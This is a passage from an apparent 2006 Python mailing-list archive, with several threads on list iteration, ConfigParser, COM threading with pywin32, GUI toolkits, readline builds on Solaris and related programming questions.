03:48:54 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 13 Oct 2006 07:48:54 GMT Subject: Efficiently iterating over part of a list In-Reply-To: References: Message-ID: Steven D'Aprano wrote: > If I want to iterate over part of the list, the normal Python idiom is to > do something like this: > > alist = range(50) > # first item is special > x = alist[0] > # iterate over the rest of the list > for item in alist[1:] > x = item > > The important thing to notice is that alist[1:] makes a copy. What if the > list has millions of items and duplicating it is expensive? What do people > do in that case? > > Are there better or more Pythonic alternatives to this obvious C-like > idiom? > > for i in range(1, len(alist)): > x = alist[i] > > I think this is a job for iterators: listiter = iter(alist) first_item_is_special = listiter.next() for not_special_item in listiter: do_stuff_with(not_special_item) Other solutions might involve enumerators: special = [i for i in xrange(50) if not i%13] for i,item in alist: if i in special: do_something_special_with(item) else: do_other_stuff_with(item) James James From paul at boddie.org.uk Fri Oct 6 07:24:48 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 6 Oct 2006 04:24:48 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> <7x3ba1ltvj.fsf@ruckus.brouhaha.com> <452638EE.8030505@v.loewis.de> Message-ID: <1160133888.305119.147290@h48g2000cwc.googlegroups.com> Martin v. L?wis wrote: > > For whatever reason, the SF bug tracker is often down, or not > responding. I'm uncertain why that is, but it's a matter of > fact that this was one of the driving forces in moving away > from SF (so it is a real problem). As I asked before, did anyone look into asking large-scale users of the various considered products about their experiences with regard to reliability, scalability, and so on? Obviously, SourceForge is a special case since it's a closed service with a code base divergent from the last open source release (and possibly from commercial deployments of the code), whereas the other contenders except for Launchpad, along with non-considered but widely-deployed products, presumably contribute to a certain amount of public experience that can be drawn upon. Paul From steve at holdenweb.com Mon Oct 9 06:22:43 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 09 Oct 2006 11:22:43 +0100 Subject: Names changed to protect the guilty In-Reply-To: References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160183076.034356.292780@i3g2000cwc.googlegroups.com> <1160184574.708331.78400@i3g2000cwc.googlegroups.com> <1160222386.410987.230630@b28g2000cwb.googlegroups.com> Message-ID: Antoon Pardon wrote: > On 2006-10-07, John Machin wrote: > >>Steven D'Aprano wrote: >> >>>On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote: >>> >>> >>>>MonkeeSage wrote: >>>> >>>>>On Oct 6, 8:02 pm, "MonkeeSage" wrote: >>>>> >>>>>>it is clearer to you to make the condition explicit ("blah not False"), >>>>> >>>>>"blah not False" -> "blah is False" >>>> >>>>Whichever way your team wants to interpret it, d00d. >>>> >>>>Please consider whether you should be writing "(blah is False) is >>>>True", that would be more explicit. >>> >>>Puh-lease! Get it right! >>> >>>It should be "((blah is False) is True) is True". >> >>Yes, but it stops after one more iteration. "What I tell you three >>times is true" -- the Bellman, "The Hunting of the Snark", by Lewis >>Carroll. > > > Shouldn't it then be: "((blah is False) is False) is False" > No, that would be "((blah is True) is False) is True" regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From robert.kern at gmail.com Mon Oct 9 23:50:31 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 09 Oct 2006 23:50:31 -0400 Subject: Python component model In-Reply-To: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> References: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> Message-ID: Edward Diener No Spam wrote: > Robert Kern wrote: >> Edward Diener No Spam wrote: >> >>> There's nothing wrong with Python's introspection. In fact Python's >>> facilities in this area and its support for metadata are stronger than >>> any of these other languages ! However there is no common component >>> model which specifies that X is a "property" or Y is an "event" of a >>> Python class which can be visually manipulated at design-time and >>> automagically set at run-time, so that any given Python RAD visual >>> environment will treat a Python class, specified as a component, in >>> exactly the same way. Also in these other languages, a component is >>> different from a class in that a component is recognized in a >>> particular way, often so that the component can interact if necessary >>> with its container and/or visual site. >> You'll definitely want to take a look at Enthought's Traits (disclaimer: >> I work for Enthought). I'm supposed to be on vacation now, so I'm not >> going to give you the full rundown of Traits and Traits UI, so I'm >> simply going to point you to the page we have about it: >> >> http://code.enthought.com/traits/ > > It looks as if traits is an attempt to create a "property" in the > component terminology which I originally specified. I will take a look > at it. It also provides an event model and a declarative UI layer as well as several other things besides. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From tony_ha2002 at yahoo.co.uk Mon Oct 2 10:29:49 2006 From: tony_ha2002 at yahoo.co.uk (TonyHa) Date: 2 Oct 2006 07:29:49 -0700 Subject: Help with ConfigParser In-Reply-To: References: Message-ID: <1159799389.298497.59740@m7g2000cwm.googlegroups.com> Hello Peter, Thanks for your help, and it works now! Tony. Peter Otten wrote: > tony.ha at philips.com wrote: > > > Question: How can I pervent ConfigParse to convert Upper case yo lower > > case??, thanks. > > http://docs.python.org/dev/lib/RawConfigParser-objects.html > > """ > optionxform(option) > > Transforms the option name option as found in an input file or as passed in > by client code to the form that should be used in the internal structures. > The default implementation returns a lower-case version of option; > subclasses may override this or client code can set an attribute of this > name on instances to affect this behavior. Setting this to str(), for > example, would make option names case sensitive. > """" > > If you don't pass defaults: > > config = ConfigParser() > config.optionxform = str > # ... > > Or, to be on the safe side: > > class MyCasePreservingConfigParser(ConfigParser): > optionxform = str > > config = MyCasePreservingConfigParser() > # ... > > Peter From nulla.epistola at web.de Mon Oct 9 06:33:26 2006 From: nulla.epistola at web.de (Hertha Steck) Date: Mon, 09 Oct 2006 12:33:26 +0200 Subject: PythonWin: error message and endless printing Message-ID: Using Python 2.5 with pywin32 build 210 on Windows XP Home, first try with PythonWin after installation of this version. Here are the header lines from the interactive window: PythonWin 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32. Portions Copyright 1994-2006 Mark Hammond - see 'Help/About PythonWin' for further copyright information. If I try to print my script using the print button in the toolbar I get the following warning: >>> C \Programme\Python25\Lib\site-packages\pythonwin\pywin\scintilla\view.py:641: DeprecationWarning: 'L' format requires 0 <= number <= 4294967295 fr = struct.pack('LLIIIIIIIIll', hdcRender, hdcFormat, rc[0], rc[1], rc[2], rc[3], rc[0], rc[1], rc[2], rc[3], pageStart, lengthDoc) >>> And then the printer prints one page after another just with the header and nothing else. The printer window shows 60 pages for the job - the script hasn't even 60 lines. I didn't wait to see if it would stop after 60 pages ... Printing from the print preview or from the print dialog called by the "Print..." menu entry works faultlessly. Which is quite a good workaround, but no long time solution. Google didn't produce anything similar, so might it be something local? But what? Not the printer itself, same problem with two different ones. From rupole at hotmail.com Fri Oct 13 03:17:08 2006 From: rupole at hotmail.com (Roger Upole) Date: Fri, 13 Oct 2006 03:17:08 -0400 Subject: COM and Threads References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160712022_1597@sp6iad.superfeed.net> <1160713687.665650.221900@b28g2000cwb.googlegroups.com> <1160718073_1665@sp6iad.superfeed.net> <1160718935.372511.303470@m73g2000cwd.googlegroups.com> Message-ID: <1160724047_3201@sp6iad.superfeed.net> "Teja" wrote: > > Roger Upole wrote: > >> "Teja" wrote: >> > >> > Roger Upole wrote: >> > >> >> "Teja" wrote: >> >> >I have an application which uses COM 's Dispatch to create a COM based >> >> > object. Now I need to upgrade the application to a threaded one. But >> >> > its giving an error that COM and threads wont go together. Specifically >> >> > its an attribute error at the point where COM object is invoked. Any >> >> > pointers please?????? >> >> > >> >> >> >> An actual traceback would help. >> >> At a guess, when using COM in a thread >> >> you need to call pythoncom.CoInitialize and >> >> CoUninitialize yourself. >> >> >> >> Roger >> > >> > Actually Roger, this is the scenario.... >> > >> > I create a COM object at the beginnning of the main thread. In the sub >> > thread, I need to access the same instance of the COM object. If it >> > were a normal object ie. not a COM obj, i was able to do it. But if it >> > were a COM object, its giving an attribute error? Should I pass a COM >> > object to the thread. If so How? Please let me know ASAP... Thnks >> > >> >> To pass COM objects between threads, usually they'll need to be marshaled >> using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled >> with pythoncom.CoGetInterfaceAndReleaseStream. >> >> Roger > > I really appreciate your quick reply....Can u please let me know how to > do marshalling and unmarshalling or any good refrences to do it. > Because i tried to do it. I got some errors ans so I left it... > > Thnks again... > Here's a simple example using Internet Explorer. import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 def nav(istream, dest): pythoncom.CoInitialize() d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) my_ie.Navigate(dest) pythoncom.CoUninitialize() s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) thread.start_new_thread(nav, (s, 'www.google.com')) Roger From hg at nospam.com Fri Oct 13 12:11:59 2006 From: hg at nospam.com (hg) Date: Fri, 13 Oct 2006 11:11:59 -0500 Subject: Where can I find good python code? In-Reply-To: References: Message-ID: js wrote: > Hi, > > I've learned basics of Python and want to go to the next step. > So I'm looking for good python examples > I steal good techniques from. > > I found Python distribution itself contains some examples in Demo > directory. > I spent some time to read them and > I think they're good but seemed not so practical to me. > > Any recommendations? Sure, there are tons of pure-Python modules out there. hg From no-spam at no-spam-no-spam.com Fri Oct 13 18:33:41 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sat, 14 Oct 2006 00:33:41 +0200 Subject: wxPython installation interferes with win32ui/win32gui In-Reply-To: References: Message-ID: robert wrote: > > c:\Python23\pythonw.exe.manifest > c:\Python23python.exe.manifest > I found out that in fact when I move away these 2 files to a backup location after a wx installation, things go well again. What at all do this .manifest files do ? And why do win32ui apps freak out, when these are present? Have post the content of pythonw.exe.manifest below. Are wx apps affected in a bad way, if I remove those files for ever? -robert ======================================================== C:\python23\pythonw.exe.manifest ======================================================== Python Interpreter From Eric_Dexter at msn.com Sat Oct 7 02:56:32 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 6 Oct 2006 23:56:32 -0700 Subject: problem with split In-Reply-To: <1160203574.984791.222500@c28g2000cwb.googlegroups.com> References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> <03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com> <1160201348.602509.9900@m73g2000cwd.googlegroups.com> <1160203574.984791.222500@c28g2000cwb.googlegroups.com> Message-ID: <1160204192.346227.310440@h48g2000cwc.googlegroups.com> I am not sure if I am having trouble with the test program or the routine.. (I had the brackets in the wrong place on the other) IDLE 1.1.3 ==== No Subprocess ==== >>> ['1', 'String pad'] >>> I get this but I have at least three lines and the v = [] v = csoundroutines.csdInstrumentList('bay-at-night.csd') print v Eric_Dexter at msn.com wrote: > I think I am very close the return line is tripping me up. (this is > the first list that I have tried to program in python) > > return (s.group[1], s.group[2]) > > Traceback (most recent call last): > File "C:\Python24\Lib\site-packages\boa-constructor\test of > snake\test_of_csoundroutines_list.py", line 5, in ? > v = csoundroutines.csdInstrumentList('bay-at-night.csd') > File "C:\Python24\Lib\site-packages\boa-constructor\test of > snake\csoundroutines.py", line 43, in csdInstrumentList > return (s.group[1], s.group[2]) > TypeError: unsubscriptable object > > > > > > > > > > > hanumizzle wrote: > > On 6 Oct 2006 23:09:08 -0700, MonkeeSage wrote: > > > > > > > > > On Oct 6, 11:33 pm, hanumizzle wrote: > > > > import re > > > > > > > > > > > > > > > > if line.startswith('instr'): > > > > p = re.compile(r'(\d+)\s+;(.*)$') > > > > m = p.search(line) > > > > > > > > return (m.group(1), m.group(2)) > > > > > > You probably don't want startswith, in case there are initial spaces in > > > the line. > > > > Pardon me; I am not very familiar with file format in question. > > > > > Also, since the regexp is single use, you can just use the > > > re.search class method, which will compile the regexp implicitly. > > > > Cool. > > > > > May > > > also want to strip the second grouped match, in case of trailing > > > spaces. > > > > Cosmetic, but good idea. > > > > -- Theerasak From bernhard.voigt at gmail.com Sun Oct 8 07:20:10 2006 From: bernhard.voigt at gmail.com (bernhard.voigt at gmail.com) Date: 8 Oct 2006 04:20:10 -0700 Subject: Scientific computing and data visualization. References: <1157574433.664189.217960@m73g2000cwd.googlegroups.com> <1157652641.877725.223880@h48g2000cwc.googlegroups.com> <45265EC2.1020100@gmx.de> Message-ID: <1160306410.245567.116620@m7g2000cwm.googlegroups.com> > > I can definitively second that. ROOT is a bit hard to learn but very, > > very powerful and PyRoot is really a pleasure to work with. > > It sounds interesting. Right now, I use matplotlib for > 2D plotting and vtk for 3D. Do you have any experience and > can give some recommendations? Hi Fabian! I recommend using matplotlib for data visualization, because the usage of the plotting commands is much(!!!) more convenient. In ROOT you have to create objects before you can draw your diagrams. The constructor often requires arguments about the number of space points, axis length, name etc. On the other hand, the figure itself has a GUI to manipulate the plot, which sometimes is nicer than doing everything in the script. In particular the 3D visualization seems to be more comprehensive (lots of drawing options, rotation of the plot with the mouse, changing of visualization lego, surf, contour plots etc.). ROOT has more than plotting. For example it has a whole bunch of containers to store very large amounts of data (within complex datastructures), fitting routines, minimizers etc. But you get that with scipy and numpy. I'm using 80% of the time matplotlib because it's much quicker for quick glances at your data. If I need sophisitcated 3D plots, I use ROOT, but I would love to switch to matplotlib for this, as well. My guess is that using python and matplotlib with scipy speeds up my work by at least 30% in comparison to using purely ROOT (and code in C++). And even 10-15% in comparison to the usage of ROOT with pyRoot. Enjoy! Bernhard From pydecker at gmail.com Fri Oct 13 21:52:52 2006 From: pydecker at gmail.com (Peter Decker) Date: Fri, 13 Oct 2006 21:52:52 -0400 Subject: IDE In-Reply-To: <463ff4860610130858y780c9870x57a845de4ac49e91@mail.gmail.com> References: <4zOXg.1918$uv5.11354@twister1.libero.it> <463ff4860610130858y780c9870x57a845de4ac49e91@mail.gmail.com> Message-ID: On 10/13/06, Theerasak Photha wrote: > On 10/13/06, giuseppe wrote: > > What is the better IDE software for python programming? I like SPE. They really work the way I like to work. -- # p.d. From onurb at xiludom.gro Mon Oct 16 05:27:15 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 16 Oct 2006 11:27:15 +0200 Subject: Cannot import a module from a variable In-Reply-To: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> Message-ID: <45335075$0$5656$426a74cc@news.free.fr> Jia Lu wrote: > Hi all: > > I try to do things below: >>>> import sys >>>> for i in sys.modules.keys(): > import i > Traceback (most recent call last): > File "", line 2, in > import i > ImportError: No module named i > > But it seems that import donot know what is i ? The import statement expects a name (a symbol), not a string. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From fredrik at pythonware.com Tue Oct 3 04:46:54 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 03 Oct 2006 10:46:54 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: Giovanni Bajo wrote: > I just read this mail by Brett Cannon: > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > where the "PSF infrastracture committee", after weeks of evaluation, recommends > using a non open source tracker (called JIRA - never heard before of course) > for Python itself. > > Does this smell "Bitkeeper fiasco" to anyone else than me? not necessarily (and good support for data export is high on the requirements list), but for those of us who's been following the committee's work, there has indeed been a disturbing amount of "free as in - oh shiny!" from the very beginning. however, note that the committee do realize that using a Python- powered tool for Python is a good thing in itself; they are asking for volunteers that can keep a roundup instance running, and fix any issues that arises. python.org has plenty of hardware, but not enough manpower to do everything that could be done. see brett's post for details. From sverker.is at home.se Thu Oct 12 16:46:49 2006 From: sverker.is at home.se (Sverker Nilsson) Date: 12 Oct 2006 13:46:49 -0700 Subject: Guppy-PE 0.1.5 released Message-ID: <1160686009.820689.153350@k70g2000cwa.googlegroups.com> I would like to announce Guppy-PE 0.1.5 Guppy-PE is a library and programming environment for Python, currently providing in particular the Heapy subsystem, which supports object and heap memory sizing, profiling and debugging. It also includes a prototypical specification language, the Guppy Specificaion Language (GSL), which can be used to formally specify aspects of Python programs and generate tests and documentation from a common source. The current version is updated to work with Python 2.5 (and can still be used with 2.3 and 2.4). It also has some feature improvements, such as some shorthand attributes, and a clearer representation of shortest paths. Bugs have been fixed wrt especially remote monitoring and making the HTML generated by GSL more standards-compliant. For update details, see the changelog included with the source code. License: MIT For more information and to download the Guppy-PE source code, see: http://guppy-pe.sourceforge.net My master thesis, "Heapy: A Memory Profiler and Debugger for Python" has now been approved and is available here: http://guppy-pe.sourceforge.net/heapy-thesis.pdf Best regards, Sverker Nilsson From deets at nospam.web.de Fri Oct 13 06:10:26 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 13 Oct 2006 12:10:26 +0200 Subject: Click and Drag Functionality in Web Apps with Python In-Reply-To: References: <4p92q4Fh1pc9U1@uni-berlin.de> Message-ID: <4p970iFhv9t1U1@uni-berlin.de> Fredrik Lundh schrieb: > Diez B. Roggisch wrote: > >> There is mochikit, a javascript library that makes coding in javascript >> suck less. > > and which is written by an experienced Python programmer, so it also > makes your JavaScript look and feel a little more Pythonic. > > (not that JavaScript itself is that unpythonic, really, but some of the API:s > suck pretty badly). I pretty much like the language, yes. But the environment it is deployed in suck pretty hard, especially when they stem from a north-western US state. diez From pydecker at gmail.com Tue Oct 24 20:33:15 2006 From: pydecker at gmail.com (Peter Decker) Date: Tue, 24 Oct 2006 20:33:15 -0400 Subject: python GUIs comparison (want) In-Reply-To: <1161733108.610956.220920@b28g2000cwb.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <1161733108.610956.220920@b28g2000cwb.googlegroups.com> Message-ID: On 24 Oct 2006 16:38:28 -0700, Eric_Dexter at msn.com wrote: > You load dabo and then load your program through dabo... That > was all I needed to know to disregard it. Wow - inaccurate and proud of it! Your loss. -- # p.d. From grflanagan at yahoo.co.uk Mon Oct 23 15:07:31 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 23 Oct 2006 12:07:31 -0700 Subject: Handling emails In-Reply-To: References: Message-ID: <1161630451.506987.207820@h48g2000cwc.googlegroups.com> Fulvio wrote: > > Hello, > > I'd like to ask some clue to move further on my project :-) > The purpose would be to gather all emails (local and remote ones) to do some > backup. > I've tried to get ideas by reading all about the modules enclose with python, > but neither email framework nor mailbox give me the idea how to handle *one* > email complete of payload and attachment (if any). The 'PopClient' class here might help you: http://gflanagan.net/site/python/pagliacci/pagliacci.py.html A script I use is here: http://gflanagan.net/site/python/pagliacci/getpopmail.py.html There's a woeful lack of comments but hopefully you can figure it out! It saves emails to the filesystem along with attachments. (Note that the POP account passwords are stored as plain text.) It checks a mail's message-id and doesn't download if it already has been downloaded. hth Gerard From miles.chris at gmail.com Fri Oct 13 08:47:16 2006 From: miles.chris at gmail.com (Chris Miles) Date: Fri, 13 Oct 2006 13:47:16 +0100 Subject: Cannot force configure/setup.py to pick up location of readline (SFWrline) on Solaris 10 Message-ID: On a standard Solaris 10 installation with Sun-supplied open-source packages installed (like SFWrline for readline libs) I cannot seem to force Python configure/setup.py to build with readline support. SFWrline installs readline in /opt/sfw/lib & /opt/sfw/include (This is all attempted with Python-2.4.3 on Solaris 10 06/06 i386) With this configure: ./configure --prefix=/opt/python-2.4.3 --enable-shared CPPFLAGS=-I/opt/sfw/include CFLAGS=-I/opt/sfw/include LDFLAGS=-L/opt/sfw/lib The resulting output includes: ... checking for rl_callback_handler_install in -lreadline... yes checking for rl_pre_input_hook in -lreadline... yes checking for rl_completion_matches in -lreadline... yes ... and config.log contains: ... ac_cv_lib_readline_rl_callback_handler_install=yes ac_cv_lib_readline_rl_completion_matches=yes ac_cv_lib_readline_rl_pre_input_hook=yes ... However, make doesn't build a readline module and I think this is because setup.py is not taking the custom *FLAGS into account. Even if I export them as environment variables, I get no readline module. How do I force the build to use the custom paths? And/or: can we teach configure/setup.py to include /opt/sfw/ when on Solaris, as this is the standard location for Sun's supplied open-source packages (ie: on the Companion disc) ? btw: an answer to this is not to install other 3rd party readline packages such as from sunfreeware.com or blastwave, as that should not be necessary when Sun supply the packages themselves (and some organisations will not allow those packages). Cheers, Chris -- http://chrismiles.info/ From vatamane at gmail.com Tue Oct 3 03:12:05 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 3 Oct 2006 00:12:05 -0700 Subject: switch user References: <1159846677.054196.128000@i42g2000cwa.googlegroups.com> Message-ID: <1159859525.410148.157880@k70g2000cwa.googlegroups.com> Check out the os module, especially the os.getgid(), os.getuid(), os.setgid(), os.getuid(), methods. There are more , take at a look at Python documentation. You can start a script as root then change your priveleges with os.setgid() os.setuid() methods. Note: those methods operate with integer user and group IDs, not with user and group names. Hope that helps, -Nick Vatamaniuc s99999999s2003 at yahoo.com wrote: > hi > > due to certain constraints, i will running a python script as root > inside this script, also due to some constraints, i need to switch user > to user1 to run the > rest of the script...is there a way ?thanks From spitfire2525 at yahoo.com Sun Oct 1 18:28:01 2006 From: spitfire2525 at yahoo.com (Peter Mexbacher) Date: Mon, 02 Oct 2006 00:28:01 +0200 Subject: Simple but fast 2D lib for drawing pixels In-Reply-To: <1159706488.576589.82080@i3g2000cwc.googlegroups.com> References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com> <1hmhych.1jaomee1msbzi8N%aleax@mac.com> <1159706488.576589.82080@i3g2000cwc.googlegroups.com> Message-ID: <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at> Hello, we want to teach absolute programming newbies a first language, so they can start programming simple scientific models. We thought Python would make a good choice for a first language; but where pretty stumped when we found out that there is no simple way to draw pixels to a screen. (This is needed for fractals, agent-based models etc -> like Conways Game of Life) Our requirements: -) easy to learn (newbs!) -) not too slow (after all, the models should simulate something) -) python :-) Any ideas? Best Regards, Peter From no-spam at no-spam-no-spam.com Sat Oct 28 07:53:46 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sat, 28 Oct 2006 13:53:46 +0200 Subject: What is the cleanest way to for a module to access objects from the script that imports it? In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> Message-ID: noamsml at gmail.com wrote: > Hi, > > I am new to python and am currently writing my first application. One > of the problems I quickly ran into, however, is that python's imports > are very different from php/C++ includes in the sense that they > completely wrap the imported script in a module object. One of the > problems with this was that a plugin system that I am making requires > use of objects, classes and the such from the original script. Thus, on > one hand, I am hesitant to use execfile(), since I *do* want to wrap > the plugin up, but on the other hand, I want the plugin to be able to > use functions from the original script. Any ideas? > you can import __main__ in your module: import __main__; __main__.app_xfunc(y) But for most cases I'd say your "problem" is an indication of weak design (thanks to Pythons clear module tech). Maybe: * if the funcs are tools, put them in an extra module * if its about app-global parameters(tools), make a module "myglob" or so * if the funcs have app-context, hand over/set them as "callback" functions or iterators like .. def app_xfunc(par):pass mody.set_xhandler(app_xfunc) mody.yfunc(a,b,..., cbProgress=app_xfunc) def app_xstepper(): yield next mody.yfunc2(a,b,..., step=app_xstepper) ... * if you have 2 moduls on equal dependency level and each needs the other (sometimes) - thus you don't want to have one big module, then cross import them .. #modx import mody def fx(): mody.doy() #mody import modx def fy(): modx.dox() Python allows everything most easy for that kind of problems of all langs I know of. Mainly the fact that a module is a real object in Python provides tremendous flexibility and self-similarity of techniques. Ruby for example is weired - even really bad - in this. -robert From bj_666 at gmx.net Thu Oct 26 08:47:33 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Thu, 26 Oct 2006 14:47:33 +0200 Subject: python html 2 image (png) References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> <1161778587.501281.92320@h48g2000cwc.googlegroups.com> <4q9l3cFm97ffU1@uni-berlin.de> Message-ID: In <4q9l3cFm97ffU1 at uni-berlin.de>, Diez B. Roggisch wrote: > Whatever lunix is, [?] An operating system for the Commodore?64. `LUnix NG` Website: http://lng.sourceforge.net/ :-) Ciao, Marc 'BlackJack' Rintsch From Roka100 at gmail.com Wed Oct 18 03:20:50 2006 From: Roka100 at gmail.com (Jia Lu) Date: 18 Oct 2006 00:20:50 -0700 Subject: How to convert this list to string? Message-ID: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> Hi all I have a list like: >>> list [1, 2, 3] >>> list[1:] [2, 3] I want to get a string "2 3" >>> str(list[1:]) '[2, 3]' How can I do that ? thanks From sturlamolden at yahoo.no Sun Oct 22 10:37:08 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 22 Oct 2006 07:37:08 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161512938.035392.32670@m7g2000cwm.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161443842.206948.145300@i42g2000cwa.googlegroups.com> <1161447186.938144.35810@f16g2000cwb.googlegroups.com> <1161512938.035392.32670@m7g2000cwm.googlegroups.com> Message-ID: <1161527827.994682.286800@h48g2000cwc.googlegroups.com> Wektor wrote: > I ment in the GUI context , a widget-based api where you can put > buttons, labels etc. on a form. You mean GTK? GTK 2.8 uses an abstraction layer for drawing widgets called "Cairo". Cairo can use OpenGL or Quartz as backends (still experimental). Thus, you can get a hardware-accelerated GUI from PyGTK if you are willing to use an experimental backend in Cairo. http://cairographics.org/ From s99999999s2003 at yahoo.com Thu Oct 5 23:09:36 2006 From: s99999999s2003 at yahoo.com (s99999999s2003 at yahoo.com) Date: 5 Oct 2006 20:09:36 -0700 Subject: printing variables In-Reply-To: References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> Message-ID: <1160104176.281125.121740@k70g2000cwa.googlegroups.com> Fredrik Lundh wrote: > s99999999s2003 at yahoo.com wrote: > > > say i have variables like these > > > > var1 = "blah" > > var2 = "blahblah" > > var3 = "blahblahblah" > > var4 = "...." > > var5 = "...".. > > > > bcos all the variable names start with "var", is there a way to > > conveniently print those variables out... > > do you often (or always) treat these as a collection ? why not just put > the values in a list (or tuple) instead ? > > Thanks all for the answers. Yup, i think i will use dicts/tuples/lists instead... From fredrik at pythonware.com Tue Oct 10 13:47:50 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 19:47:50 +0200 Subject: operator overloading + - / * = etc... In-Reply-To: References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: Piet van Oostrum wrote: > The official Python documentation (language reference manual) talks a lot > about variables. So it seems silly to say that Python doesn't have > variables. the language reference mostly uses the term "variables" when discussing local variables and instance variables, and is (usually) careful to talk about "names" when talking about binding behaviour. for example, the description of the assignment statement: http://www.python.org/doc/2.4.3/ref/assignment.html only uses "variable" twice, in a note that discussing a given code example. the more formal parts of that page consistently use the term "name". it's often a good idea to be a bit careful when discussing detailed behaviour, especially in contexts where the audience may associate variables with "small areas of memory". (it's also important to realize that the language reference is a hodge- podge of incremental revisions with no grand plan behind it; it was a bit more consistent when Guido wrote the first version.) From kwevans at gmail.com Tue Oct 17 09:44:39 2006 From: kwevans at gmail.com (kevin evans) Date: 17 Oct 2006 06:44:39 -0700 Subject: Newbie: datetime conversion question In-Reply-To: References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> Message-ID: <1161092679.623204.319460@f16g2000cwb.googlegroups.com> Great stuff - many thanks hg wrote: > Carsten Haese wrote: > > On Tue, 2006-10-17 at 08:49, hg wrote: > >> import time > >> "%08X"% (int)(time.mktime(time.localtime())) > > > > Have you not had your coffee yet or are you trying to win an obfuscated > > python programming competition? ;) > > > > -Carsten > > > > > Just one cup > > hg From johnjsal at NOSPAMgmail.com Wed Oct 25 16:54:07 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 20:54:07 GMT Subject: cleaner way to write this? In-Reply-To: <7x64e815tb.fsf@ruckus.brouhaha.com> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> <2qP%g.161$1n3.4136@news.tufts.edu> <7x64e815tb.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > John Salerno writes: >> Interesting idea to use try/finally to ensure that dlg.Destroy() runs >> even with a return earlier in the method. > > Note that the code is wrong, the dialog should either be created > outside the while loop, or destroyed inside it. I don't know wx so > I'm not sure which of those is correct. But the version I posted > potentially creates multiple dialogs and destroys only one of them. oh you're right...seems like it will happen if the error occurs.... From outstretchedarm at hotmail.com Fri Oct 27 15:32:14 2006 From: outstretchedarm at hotmail.com (Omar) Date: 27 Oct 2006 12:32:14 -0700 Subject: More Noob Questions In-Reply-To: References: <1161193249.636093.206690@e3g2000cwe.googlegroups.com> Message-ID: <1161975562.279115.237510@i42g2000cwa.googlegroups.com> Roberto Bonvallet wrote: > Omar wrote: > > more to come! > > Please, use a more meaningful subject next time, like "Integration of > Python and Flash" or "Where can I find vido tutorials". That way it will > be easier to people that knows about the subject to find your message and > answer you. > > And please think of us, non-native English speakers, that don't know slang > words like "noob" that don't even appear in the dictionaries and don't add > anything to your question. > > Cheers, > -- > Roberto Bonvallet From tdelaney at avaya.com Wed Oct 25 01:37:34 2006 From: tdelaney at avaya.com (Delaney, Timothy (Tim)) Date: Wed, 25 Oct 2006 15:37:34 +1000 Subject: Sorting by 